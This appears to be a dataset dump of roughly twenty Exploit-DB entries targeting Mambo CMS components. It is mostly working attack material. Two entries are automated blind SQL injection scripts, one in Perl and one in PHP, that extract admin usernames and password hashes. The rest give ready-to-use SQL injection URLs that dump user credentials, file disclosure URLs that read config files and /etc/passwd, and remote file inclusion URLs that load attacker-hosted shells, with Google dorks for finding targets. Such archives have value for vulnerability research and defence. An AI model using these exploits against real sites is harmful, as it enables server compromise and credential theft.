deardaniel/secdata-raw huggingface dataset:
Exploit-DB #5935
Description: Mambo Component Articles - 'artid' Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-06-25
Author: Ded MustD!e

Exploit:
#!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;

if(!$ARGV[1])
{
 print " \n";
 print " #######################################################################\n";
 print "  #   Mambo Component Articles Blind SQL Injection Exploit #\n";
 print "  #   Author:Ded MustD!e [www.antichat.ru] #\n";
 print "  # #\n";
 print "  #   Dork :   inurl:option=articles artid #\n";
 print "  #   Usage:   perl exploit.pl host path <options> #\n";
 print "  #   Example: perl exploit.pl www.host.com /joomla/ -a 2 #\n";
 print "  # #\n";
 print "  #   Options: #\n";
 print "  #     -a   valid Article id #\n";
 print " #######################################################################\n";
 exit;
}

my $host    = $ARGV[0];
my $path    = $ARGV[1];
my $userid  = 1;
my $aid     = $ARGV[2];

my %options = ();
GetOptions(\%options, "u=i", "p=s", "a=i");

print "[~] Exploiting...\n";

if($options{"u"})
{
 $userid = $options{"u"};
}

if($options{"a"})
{
 $aid = $options{"a"};
}

syswrite(STDOUT, "[~] MD5-Hash: ", 14);

for(my $i = 1; $i <= 32; $i++)
{
 my $f = 0;
 my $h = 48;
 while(!$f && $h <= 57)
 {
   if(istrue2($host, $path, $userid, $aid, $i, $h))
   {
     $f = 1;
     syswrite(STDOUT, chr($h), 1);
   }
   $h++;
 }
 if(!$f)
 {
   $h = 97;
   while(!$f && $h <= 122)
   {
     if(istrue2($host, $path, $userid, $aid, $i, $h))
     {
       $f = 1;
       syswrite(STDOUT, chr($h), 1);
     }
     $h++;
   }
 }
}

print "\n[~] Exploiting done\n";

sub istrue2
{
 my $host  = shift;
 my $path  = shift;
 my $uid   = shift;
 my $aid   = shift;
 my $i     = shift;
 my $h     = shift;

 my $ua = LWP::UserAgent->new;
 my $query = "http://".$host.$path."index.php?option=articles&task=viewarticle&artid=".$aid." and ascii(SUBSTRING((SELECT password FROM mos_users LIMIT 0,1),".$i.",1))=".$h."";

 if($options{"p"})
 {
   $ua->proxy('http', "http://".$options{"p"});
 }

 my $resp = $ua->get($query);
 my $content = $resp->content;
 my $regexp = "Back";

 if($content =~ /$regexp/)
 {
   return 1;
 }
 else
 {
   return 0;
 }

}

# milw0rm.com [2008-06-25]
Exploit-DB #2225
Description: Mambo Component bigAPE-Backup 1.1 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-19
Author: mdx

Exploit:
/*
Notes:
globals bypass with a multipart/form-data POST
 * PHP4 <= 4.4.0
 * PHP5 <= 5.0.5
http://www.hardened-php.net/globals-problem
/str0ke
*/

####################################################
#                                                  #
#         C Y BE R - W A R R i O R   T I M         #
#                                                  #
####################################################

mambo com_babackup (1.1) Component (mosConfig_absolute_path) Remote File Inclusion Vulnerabilities

####################################################

Author: mdx

####################################################

Class : Remote

####################################################

cont@ct: bilkopat[at]hotmail[dot]com

####################################################

Code: Tar.php?

require_once( $GLOBALS['mosConfig_absolute_path'] .  '/administrator/components/com_babackup/classes/PEAR.php' );


Exploit:
http://www.site.com/[path]/administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://site.com/evilscript.txt?

####################################################

Greetz: Cyber-warrior TIM USERS
####################################################

download link: http://mamboxchange.com/frs/download.php/5072/com_babackup_1.1.zip

# milw0rm.com [2006-08-19]
Exploit-DB #5094
Description: Mambo Component Comments 0.5.8.5g - SQL Injection
Type: webapps
Platform: php
Date: 2008-02-09
Author: CheebaHawk215

Exploit:
#########################################################
##
##  Mambo SQL Injection (com_comments)
##
##	Version Affected:  <=  0.5.8.5g
##  Author: CheebaHawk215
##  Home page: http://www.always420forum.com
##
#########################################################
##
## 	Dork: "Review Script", "Phil Taylor"
##
#########################################################
##	
##	Vulnerable Code:
##
##########################################################


$pt_query = "SELECT * FROM mos_content_comments where articleid=$id AND published=1 order by id DESC";


#########################################################
##
##   Exploit:
##
#########################################################


http://site.com/index.php?option=com_comments&task=view&id=-1+UNION+SELECT+0,999999,concat(username,0x3a,PASSWORD),0,0,0,0,0,0+FROM+mos_users+union+select+*+from+mos_content_comments+where+1=1



## This is my first exploit!
## thanks to all who came before me, and enabled me to learn from their efforts!

# milw0rm.com [2008-02-09]
Exploit-DB #5073
Description: Mambo Component com_downloads - SQL Injection
Type: webapps
Platform: php
Date: 2008-02-06
Author: S@BUN

Exploit:
#########################################################################
#
# joomla SQL Injection(com_downloads)(filecatid)
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com
#
#########################################################################
#
# DORKS 1 : allinurl :"com_downloads"filecatid
#
##########################################################################
EXPLOIT :

index.php?option=com_downloads&Itemid=S@BUN&func=selectfolder&filecatid=-1/**/union/**/select/**/concat(username,0x3a,password),concat(username,0x3a,password),concat(username,0x3a,password)/**/from/**/mos_users/*


##########################################################################
# S@BUN                           www.hackturkiye.com                     S@BUN
##########################################################################
# S@BUN                              i AM NOT HACKER                      S@BUN
##########################################################################

# milw0rm.com [2008-02-06]
Exploit-DB #2852
Description: Mambo Component com_flyspray < 1.0.1 - Remote File Disclosure
Type: webapps
Platform: php
Date: 2006-11-26
Author: 3l3ctric-Cracker

Exploit:
_____         __  __             __      ___
|  __ \       |  \/  |            \ \    / (_)
| |  | |_ __  | \  / | __ ___  __  \ \  / / _ _ __ _   _ ___
| |  | | '__| | |\/| |/ _` \ \/ /   \ \/ / | | '__| | | / __|
| |__| | |    | |  | | (_| |>  <     \  /  | | |  | |_| \__ \
|_____/|_|    |_|  |_|\__,_/_/\_\     \/   |_|_|   \__,_|___/


*****************************************************************************************************************************
Compononent name:com_flyspray
Affected Version:1.0.1
d.page:http://mamboxchange.com/frs/download.php/8304/com_flyspray_1.0.1.zip
*****************************************************************************************************************************
Authour: Dr Max Virus
Location:Egypt
*****************************************************************************************************************************
Bug in :startdown.php
Vul Code:
In Line 52:
readfile($file);
Problem:The variable of file not sanitized So u can read any file on server
and also config file
*****************************************************************************************************************************
POC:

http://[target]/[joomla_path]/components/com_flyspray/startdown.php?file=config.inc.php
http://[target]/[joomla_path]/components/com_flyspray/startdown.php?file=../../../../../etc/passwd%00
*****************************************************************************************************************************
Thx To:str0ke & Nukedx & Thehacker & All My Friends
Special Gr33Ts:ASIANEAGLE & The Master &Kacper
****************************************************************************************************************************

# milw0rm.com [2006-11-26]
Exploit-DB #1995
Description: Mambo Component com_forum 1.2.4RC3 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-08
Author: h4ntu

Exploit:
Bug Found by h4ntu [http://h4ntu.com] #batamhacker crew
Another Mambo component remote inclusion vulneribility

download : http://mamboxchange.com/frs/download.php/6873/phpbb_component1.2.4RC3.zip

bug found in file : download.php

define('IN_PHPBB', true);
//$phpbb_root_path = './';
include($phpbb_root_path . 'extension.inc ');
include($phpbb_root_path . 'common.'.$phpEx);


google dork: inurl:com_forum

http://[site]/[path]/components/com_forum/download.php?phpbb_root_path=[attacker]

Greetz : Baylaw, Reel, JoySolutions, K-159, SaMuR4i_X, SolpoT, Nugelo,
and all #batamhacker [at] dalnet crew, #mardongan, #motha, #papmahackerlink

# milw0rm.com [2006-07-08]
Exploit-DB #5084
Description: Mambo Component com_gallery - SQL Injection
Type: webapps
Platform: php
Date: 2008-02-08
Author: S@BUN

Exploit:
#########################################################################
#
# joomla SQL Injection(com_gallery)
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com
#
#########################################################################
#
# DORK 1 : allinurl: com_gallery "func"
#
##########################################################################
EXPLOIT 1 :

index.php?option=com_gallery&Itemid=0&func=detail&id=-99999/**/union/**/select/**/0,0,password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,username/**/from/**/mos_users/*


EXPLOÄ°T 2 :

index.php?option=com_gallery&Itemid=0&func=detail&id=-999999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0%2C1%2Cpassword%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2Cusername%2F%2A%2A%2Ffrom%2F%2A%2A%2Fmos_users

##########################################################################
# S@BUN                     www.hackturkiye.com                  S@BUN
##########################################################################
# S@BUN                        i AM NOT HACKER                     S@BUN
##########################################################################

# milw0rm.com [2008-02-08]
Exploit-DB #2026
Description: Mambo Component com_hashcash 1.2.1 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-17
Author: Matdhule

Exploit:
# Hashcash Component

Author          : Ahmad Maulana a.k.a Matdhule
Date            : July 12th 2006
Location        : Indonesia, Jakarta
Web             : http://advisories.echo.or.id/adv/adv38-matdhule-2006.txt
Critical Lvl    : Highly critical
Impact          : System access
Where           : From Remote
------------------------------------------------------------------------ 

Application     : com_hashcash Component
version         : 1.2.1
URL             : http://developer.joomla.org/sf/frs/do/viewRelease/projects.com_hashcash/frs.components.com_hashcash

Exploit:
http://[target]/[path]/components/com_hashcash/server.php?mosConfig_absolute_path= http://attacker.com/evil.txt?

# milw0rm.com [2006-07-17]
Exploit-DB #2023
Description: Mambo Component com_loudmouth 4.0j - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-17
Author: h4ntu

Exploit:
Bug Found by h4ntu [http://h4ntu.com]  #batamhacker crew
Another Mambo component remote inclusion vulneribility
 
download : http://mamboxchange.com/frs/download.php/7911/com_loudmouth-4.0j.zip

bug found in file abbc.class.php :

include( $GLOBALS['mosConfig_absolute_path'].'/components/com_loudmouth/includes/abbc/abbc.config.php');

http://[site]/[path]/components/com_loudmounth/includes/abbc/abbc.class.php? mosConfig_absolute_path=[attacker]
 
Greetz : Baylaw, Reel, JoySolutions, K-159, SaMuR4i_X, SolpoT, Nugelo, and all #batamhacker [at] dalnet crew, #mardongan, #motha, #papmahackerlink

# milw0rm.com [2006-07-17]
Exploit-DB #2222
Description: Mambo Component com_lurm_constructor 0.6b - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-19
Author: mdx

Exploit:
####################################################
#                                                  #
#         C Y BE R - W A R R i O R   T I M         #
#                                                  #
####################################################

mambo com_lurm_constructor Component (mosConfig_absolute_path) Remote File Inclusion Vulnerabilities

####################################################

Author: mdx

####################################################

Class : Remote

####################################################

cont@ct: bilkopat[at]hotmail[dot]com

####################################################

Code: admin.lurm_constructor.php, line 2

include($lm_absolute_path.'/admin/components/com_lurm/lang/lurm.'.$lm_adminlang);


Exploit:
http://www.site.com/[path]/administrator/components/com_lurm_constructor/admin.lurm_constructor.php?lm_absolute_path=http://site.com/evilscript.txt?

###################################################

Greetz: Cyber-warrior TIM USERS and The_Bat_Hacker

###################################################

download link
http://limbo-cms.com.ru/index.php/option/lurm/smpl/8/id/83/fld/usr_hits/task/url_visit/url/usr_file

# milw0rm.com [2006-08-19]
Exploit-DB #5207
Description: Mambo Component com_Musica - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-03-01
Author: Aria-Security Team

Exploit:
Aria-Security Team (Persian Security Network)
http://Aria-Security.Net
-------------------------------
Shoutz : AurA, imm02tal, Kinglet, iM4N, & All our staff
Mambo com_Musica "id" Remote SQL Injection


index.php?option=com_musica&Itemid=172&tasko=viewo &task=view2&id=-4214/**/union+select/**/0,0,password,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0+fro m%2F%2A%2A%2Fmos_users/*

Original Link:
http://forum.aria-security.net/showthread.php?t=588

Regards,
The-0utl4w

# milw0rm.com [2008-03-01]
Exploit-DB #2379
Description: Mambo Component com_registration_detailed 4.1 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-16
Author: k1tk4t

Exploit:
    ########################################################################
    # Mambo com_registration_detailed <= 4.1 Remote File Inclusion
    #  
    # Download Source  : http://mamboxchange.com/projects/regdetailed/
    # Dork =  allinur:com_extended_registration
    #
    # Found By: k1tk4t - k1tk4t[d0t]h4ck[4t]gmail[d0t]com
    # Location: Indonesia

    ########################################################################
    file ;
    registration_detailed.inc.php
    ########################################################################
    bugs ;
    [at]line 25

    include_once("$mosConfig_absolute_path/components/com_extended_registration/language/$_REGISTER_DETAILS_LANGUAGE.inc.php");
    #########################################################################
    example exploit ;
    http://victim.xxx/ components/com_extended_registration/registration_detailed.inc.php?mosConfig_absolute_path=http://phpshell/c99.txt?
    ########################################################################
    Thanks;
    str0ke
    milw0rm
    google
     #e-c-h-o (all member echo community)

     #nyubi (all member solpotcrew community)
    --> ghoz, home_edition2001, iFX, and for all (friend's&enemy) 

# milw0rm.com [2006-09-16]
Exploit-DB #2367
Description: Mambo Component com_serverstat 0.4.4 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-14
Author: Mehmet Ince

Exploit:
=-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-=
+
+Mambo com_serverstat Component <=0.4.4 Remote File Include Vulnerability
+
=-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-=
+
+Author: xoron (turkish hacker)
+
=-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-=
+
+Class : Remote
+
=-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-=
+
+Vuln Code: require_once($mosConfig_absolute_path."/administrator/components/com_serverstat/config.serverstat.php");
+
=-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-=
+
+Exploit: administrator/components/com_serverstat/install.serverstat.php?mosConfig_absolute_path=http://evil_scripts?
+
=-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-=
+
Thanx : str0ke, Ironfist, Preddy, SHiKaA
+
=-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-=

# milw0rm.com [2006-09-14]
Exploit-DB #7860
Description: Mambo Component com_sim 0.8 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-01-25
Author: Mehmet Ince

Exploit:
<?php
ini_set("max_execution_time",0);
print_r('
##############################################################################
#
#                Mambo com_sim Blind SQL Injection Exploit
#
#                             ----->>>> xoron <<<<<-----
#                                xorontr@gmail.com
#                                  XORON (c) 2009
#                          Tesekkurler: Ozan! kahrolsun!srail.
#
#     WARNING!: php xoron.php "http://www.example.com/index.php?option=com_sim&task=viewchar&character_ID=1"
#
##############################################################################
');
if ($argc > 1) {
$url = $argv[1];
$r = strlen(file_get_contents($url."+and+1=1--"));
echo "\nExploiting:\n";
$w = strlen(file_get_contents($url."+and+1=0--"));
$t = abs((100-($w/$r*100)));
echo "Username: ";
for ($i=1; $i <= 30; $i++) {
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+mos_users+limit+0,1),".$i.",1))!=0--"));
   if (abs((100-($laenge/$r*100))) > $t-1) {
      $count = $i;
      $i = 30;
   }
}
for ($j = 1; $j < $count; $j++) {
   for ($i = 46; $i <= 122; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+mos_users+limit+0,1),".$j.",1))%3E".$i."--"));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+mos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 122;
      }
   }
}
echo "\nPassword: ";
for ($j = 1; $j <= 49; $j++) {
   for ($i = 46; $i <= 102; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+mos_users+limit+0,1),".$j.",1))%3E".$i."--"));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+mos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 102;
      }
   }
}
}
?>

# milw0rm.com [2009-01-25]
Exploit-DB #2020
Description: Mambo Component com_videodb 0.3en - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-17
Author: h4ntu

Exploit:
com_videodb Mambo Componenet <= 0.3en Remote Include Vulnerability

Bug Found by h4ntu [http://h4ntu.com] #batamhacker crew
Another Mambo component remote inclusion vulneribility

download : http://mamboxchange.com/frs/download.php/7942/com_videodb_v0.3en.zip
 
bug found in file : core/videodb.class.xml.php
 
global $mosConfig_absolute_path;
require_once( $mosConfig_absolute_path . '/includes/domit/xml_domit_lite_include.php' );

exploit:
http://[site]/[mambo]/components/com_videodb/core/videodb.class.xml.php?mosConfig_absolute_path=[shell]
 
Greetz : Baylaw, Reel, JoySolutions, K-159, SaMuR4i_X, SolpoT, Nugelo, and all #batamhacker [at] dalnet crew, #mardongan, #motha, #papmahackerlink

# milw0rm.com [2006-07-17]
Exploit-DB #3944
Description: Mambo Component com_yanc 1.4 Beta - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2007-05-17
Author: Mehmet Ince

Exploit:
------------------------------
-------------------------------

Mambo com_yanc v1.4 beta (id) Blind Remote SQL Injection Vuln

-------------------------------------------------------------

Bulan: Cyber-Security

-------------------------------------------------------------

Exploit: index.php?option=com_yanc&Itemid=9999999&listid=9999999/**/union/**/select/**/name,password/**/from/**/mos_users/*

Example:http://www.tnrb.net/

-------------------------------------------------------------

google dork: inurl:index.php?option=com_yanc

-------------------------------------------------------------

# milw0rm.com [2007-05-17]
Exploit-DB #2196
Description: Mambo Component CopperminePhotoGalery - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-16
Author: k1tk4t

Exploit:
###########  CopperminePhotoGallery Component ###########
Found By k1tk4t
Indonesia 
 
  This bug allows a remote atacker to execute commands via RFI

file:
cpg.php  

bug:
require ($mosConfig_absolute_path."/administrator/components/com_cpg/config.cpg.php");



path:
add in cpg.php
defined( '_VALID_MOS' ) or die( 'hacking attemp.' );

dork: inurl:com_cpg

expl:
htttp:/www.site.it/components/com_cpg/cpg.php?mosConfig_absolute_path=

http://evil.xxx/shell.txt?


thanks to

e-c-h-o
h4cky0u
milw0rm
google

# milw0rm.com [2006-08-16]
Exploit-DB #2217
Description: Mambo Component cropimage 1.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-19
Author: Mehmet Ince

Exploit:
############################################################
############################################################
############# C Y B E R - W A R R I O R  T I M #############
############################################################
############################################################

#Mambo com_cropimage 1.0 Component Remote Include Vulnerability

############################################################

#Author: XORON

############################################################

#Class: Remote

############################################################

#cont@ct: x0r0n[at]hotmail[dot]com

############################################################

#Code:  in admin.cropcanvas.php , line 7

require_once $cropimagedir."class.cropinterface.php";

############################################################

#Fix: 1-)open admin.cropcanvas.php
       2-)add this code before line 7

        defined( '_VALID_MOS' ) or die( 'Direct Access to this location is not allowed.' );

############################################################

#Exploit:
http://www.site.com/[path]/administrator/components/com_cropimage/admin.cropcanvas.php?cropimagedir=http://evil_scripts?

############################################################

#Greetz: str0ke, Ironfist, Preddy, SHiKaA, mdx, DJR, DaRK,R3D4C!D,iNSoMNiA and all my friend

############################################################

# milw0rm.com [2006-08-19]